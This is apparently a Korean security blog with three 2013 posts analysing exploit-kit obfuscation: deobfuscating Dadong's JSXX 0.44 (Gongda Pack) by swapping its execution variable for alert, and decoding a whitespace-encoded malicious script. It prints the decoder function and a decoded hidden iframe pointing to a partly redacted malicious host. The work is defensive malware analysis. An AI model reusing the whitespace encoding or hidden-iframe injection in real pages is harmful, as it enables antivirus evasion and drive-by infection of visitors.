2013년 5월 6일 월요일

Dadong’s JSXX 0.44 VIP Part II

1.    카후시큐리티(kahusecurity.com) 복호화 방법 재현

1)     카후시큐리티 소개
 - 난독화 등 Malicious 컨텐츠를 분석하여 공유하는 보안프로젝트 그룹으로,
   다른 분석가들보다 빠르고 창의적인 방법으로 분석하는 것으로 유명하다

 [참고] Java 0-Day Using Latest Dadong’s JS Obfuscator
2)     카후시큐리티의 Dadong’s JS Obfuscator 복호화 방법 소개
     Dadong’s 0.44 실행 시 스크립트의 복호화 기능이 특정 변수에 저장되는 것을 이용
     변수에 ‘alert’ 등의 자신의 코드를 삽입하여 복호화 시도
     Dadong’s 0.44의 변조방지기능 때문에 복호화 부분은 수정하지 않고, 데이터
    부분에서 실행 함수가 저장되는 변수 부분을 변조하여 난독화 해지
  ☞ 상세내용은 [참고 2]에서 확인 할 수 있습니다

3)     카후시큐리티 복호화 방법 따라하기
     스크립트를 실행하는 함수가 저장되는 변수 확인

  
[그림 1] 스크립트를 실행하는 함수가 저장된 변수 확인 

    난독화된 데이터의 첫 부분 복호화 시 아래의 그림처럼 변화는 것을 확인


 [그림 2] 난독화된 코드의 일부 복호화


     ‘PDIK6’ 변수에 실행함수가 저장되므로 ‘PDIK6=alert’으로 임의로 수정하여 복호화된 데이터를 경고창으로 확인 한다
    (변조방지기능 때문에 난독화된 데이터 부분 수정 시도)

≫ 데이터의 길이를 유지하기 위해 공백을 이용하여 글자수를 맞춘다
   PDIK6=pVYAmQ8;
   PDIK6=alert     ;
≫ 난독화된 데이터 패턴을 계산하여 ‘PDIK6=alert     ;’의 값을 구한다
PDIK6=pVYAmQ8;      25491BC74F2C0BE6245412E5B922
PDIK6=alert     ;        25491BC74F2C1ADC18670B94A122

     Dadong’s 0.44 패턴으로 변환해주는 간단한 툴을 이용하여 코드 변경

[그림 3] 실제 코드 정상 변환여부 확인

[그림 4] 코드 변경 후 변환


     ‘PDIK6=alert’을 난독화한 데이터를 원래 데이터 부분에 삽입한다
[그림 5] 수정된 난독화 코드 삽입

     스크립트를 실행하면 첫 부분이 변경된 복호화된 스크립트를 확인 할 수 있다


[그림 6] 코드 변조를 통한 복호화 결과

2013년 5월 4일 토요일

아스키코드 0X20(Space) 0X09(Tab) 을 이용하는 악성 스크립트



□ 공백(Space,Tab) 을 이용하는 악성 스크립트

HEX=0X20 , 0X09 를 이용하여 백신 진단을 우회하기 위해 쓰였으며 일반 익스플로러에서
소스 보기를 한다면 공백으로 보일 수 밖에 없게 만들었다.

* HEX = 0X20 = SPACE : 네이버 지식사전
* HEX = 0X09 = 탭 코드 [tab code]: 네이버 지식사전
  

국내에서는 몇몇 사이트에서 유포가 되었지만 공다팩과, CK Vip, YSZZ에 비해서는 사용 빈도가 아주 적다.

어느 한 사이트에서 유포되고 있는 공백 스크립트다. 서두에서 설명 했듯이 익스플로러에서 소스 보기를 통해 볼때 이와 같이 공백이 보인다.

과연 이것은 어떤 비밀을 가지고 있을까?


그렇다면 수상하다 함수는 있는데 왜? 문자는 없을까?
Hex Editor 를 통해 확인 해보자.


코드를 보니 (.) , (SPACE) 가 무척 많다. 이것들이 무언가 계산을 통해서 일반 10진수를 통해 변할 수 있을꺼 같다.

윗부분에 한번 스크립트를 확인해 보자.

 function RDfADFLDEXDFu5(s)
 {
   var r = new Array();
   var curr = 0;
   while(s.charAt(curr) != '\n') // \n TAB으로 정의를 한것을 보인다.
   {
     var tmp = 0; // tmp = 0 부터 시작
     for (var i=6; //  i = 6 일때
     i>=0 ; // i = 0보다 크거나 같을때 루프
     i-- ) // i-- 계산을 해준다.
     {
       if (s.charAt(curr) == ' ') // if (s.charAt(curr) == ' ') 스페이스로 정의를 한것을 보인다.
       {
         tmp = tmp | (Math.pow(2,i)); // Math.pow 제곱함수 ex) Math.pow(4,2) 16 이 된다
       }
       curr++;
     }
     r.push(String.fromCharCode(tmp)); // tmp를 유니코드로 출력
   }
   return r.join('');
 }

이 모든것들은 tmp 라는 함수에 담기게 되어서 아스키코드로 변신을 하게 된다.
모든 것들이 tmp 변수라는 것에 모아졌다면 디코딩은 간단하다.

1. alert 를 이용한 출력

 r.push(String.fromCharCode(tmp)); ->  r.push(alert(String.fromCharCode(tmp)));




이런식으로 계속 아스키코드가 이어집니다....... 하지만 일일이 받아적기에는 너무 많습니다.

2. document.write 를 이용한 출력

 r.push(String.fromCharCode(tmp)); 
->  r.push(document.write(String.fromCharCode(tmp)));

document.write(unescape("%3Ciframe[생략]%3E"));

->document.write(unescape("<iframe src=http://www.e[생략]l.com:8080/data/rental/board/pds/news/[생략]3.html width=100 height=0></iframe>"));

한번에 알아 볼 수 있게 출력을 해줍니다.

* 지금은 공다팩에 밀려서 주목 받지 못하지만 언젠가는 또 쓰일 날이 있기에 적어 둡니다.
  아직은 모자르지만 글을 끝까지 읽어주셔서 감사합니다.

2013년 4월 18일 목요일

Dadong’s JSXX 0.44 VIP 분석 Part 1



q  Gongda Pack ?
1.    History
1)  Dadong’s JSXX 0.XX VIP 내부 공격 코드 중 중국어로 ‘공격’ 을 의미하는 ‘공다(gongda)’ 
   라는 변수명(gondad) 이 상당 부분 사용되는 점을 특징으로 이름이 지어졌으며, Gongda 
   Pack 또는 Gongda Exploit Kit 으로 알려져 있다

2) 2010 Dadong’s JSXX 0.39 VIP 를 시작으로 잠시 등장했던 Dadong’s JSXX 0.41 VIP 
   버전을 지나 Dadong’s JSXX 0.44 VIP 버전이 2012 4월부터 현재까지 등장하고 있다

2.    Gongda Pack 0.44
1) 주석 스크립트 변화 과정
    - Gongda Pack 0.44 주석 스크립트 부분이 변화되는 원인은 고정적인 문자열을 이용한
      패턴탐지를 우회하기 위해 변화되는 것으로 판단된다



[그림 2] Gongda pack 0.44 주석 스크립트 변화 과정


q  Dadongs 0.44 구조

※ 여기서는 Dadongs 0.44의 난독화를 해제하는데 중점을 두겠다 취약점을 이용하는 부분과 문서에서 다루지 않는 부분은 아래의 사이트를 참조하기 바란다
[참고 1] 'GongDa'의 무차별 웹 공격이 시작됐다

1.    전체 구조
  1)     난독화된 Dadong’s 0.44은 아래 그림처럼 크게 3부분으로 나누어 진다

[그림 2] Dadong’s 0.44 전체구조

 ①    번째 부분플래시자바 관련 스크립트 삽입  쿠키 값을 이용하여 중복 실행을 방지하는 부분이다
        ☞ 해당부분은 [참고 1] 상세히 설명되어 있다
 ②    번째 부분난독화된 데이터 부분으로  부분을 복호화하면 실제 공격코드가 된다

 ③    번째 부분난독화된 데이터를 복호화하는 스크립트 부분으로  부분을 중점적으로 분석 한다


2.    복호화 스크립트 정리 ( 번째 부분)
1)     복호화 스크립트에서 불필요한 부분 제거 및 일차원적 난독화 부분에 대해 정리 
[그림 3복호화 부분 스크립트 정리



2)     정리 후 복호화 함수의 구조
         - 보기 어렵게 작성된 부분 및 제거되는 코드를 정리하면 아래 그림처럼 된다

[그림 4복호화 스크립트 정리 결과


3)     이 복호화 부분은 함수변조방지 기술로 묶여져 있기 때문에 위와 같이 정리 후 Key값을 찾아도복호화가 정상적으로 이루어 지지 않는다

q  난독화 풀이

1.    ‘alert’ 이용한 데이터 부분 복호화  
1)     복호화 시 일반적으로 ‘alert’이나 ‘document.write’ 등을 사용하여 실행되는 스크립트를 문자로 확인한다 여기서는 ‘alert’을 이용하여 데이터를 복호화 시도하였다

[그림 6. [그림 5]의 스크립트에서 Key값을 alert으로 복호화 시도]

2)     ‘alert’을 이용한 난독화 결과
         - 복호화 부분의 문자열을 나누었기 때문에 구조가 변화면서 오류가 발생하였다 

[그림 7] 변조방지 기능에 의한 오류 발생

    - 수정된 스크립트부분을 처음 구조와 동일하게 변경 후 실행해도 오류가 발생하였다


3)     복호화 실패 원인
제작자는 복호화를 어렵게 하기 위해 함수를 문자열로 묶어놓았고문자열을 변경할 경우 함수의 변수 값이 변하여 원래 데이터를 얻을 수 없도록 만들었다 (변조방지기능)

             
[그림 8] 변조방지기능의 역할을 하는 부분

4)     해결 방법
값의 길이와 문자를 이용하여 변수를 구하는 부분이 변경되지 않게 하기 위해 [그림 5]의 정리된 복호화 부분 위에 원래 복호화 부분을 추가하여 함수들이 참조할 수 있도록 한다

             

[그림 9] 변조방지를 우회하기 위해 복호화 부분을 추가 삽입



     5)     데이터 복호화 
        - 수정된 복호화 부분을 이용하여 데이터를 복호화 시 공격 스크립트를 확인 할 수 있다
             
[그림 10] 복호화에 성공한 화면